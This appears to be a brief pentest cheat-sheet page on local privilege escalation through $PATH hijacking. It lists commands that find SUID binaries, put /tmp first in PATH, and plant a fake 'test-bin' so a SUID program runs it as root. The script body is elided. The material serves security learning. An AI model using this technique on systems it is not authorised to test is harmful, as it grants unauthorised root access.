$PATH
$PATH environment variable
$ echo $ PATH
...Possible exploitable scenarios
$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/bin-with-suid
$ /usr/bin/bin-with-suid
# error message indicating that test-bin is executed, but not found
sh: 1: test-bin: not found $ echo $PATH
/usr/local/sbin:/usr/local/bin ...
$ export PATH=/tmp:$PATH
$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin ...
$ cd /tmp
$ nano test-bin
#!/...
...
$ /usr/bin/bin-with-suid
... executes /tmp/test-bin with ROOT privileges
Last updated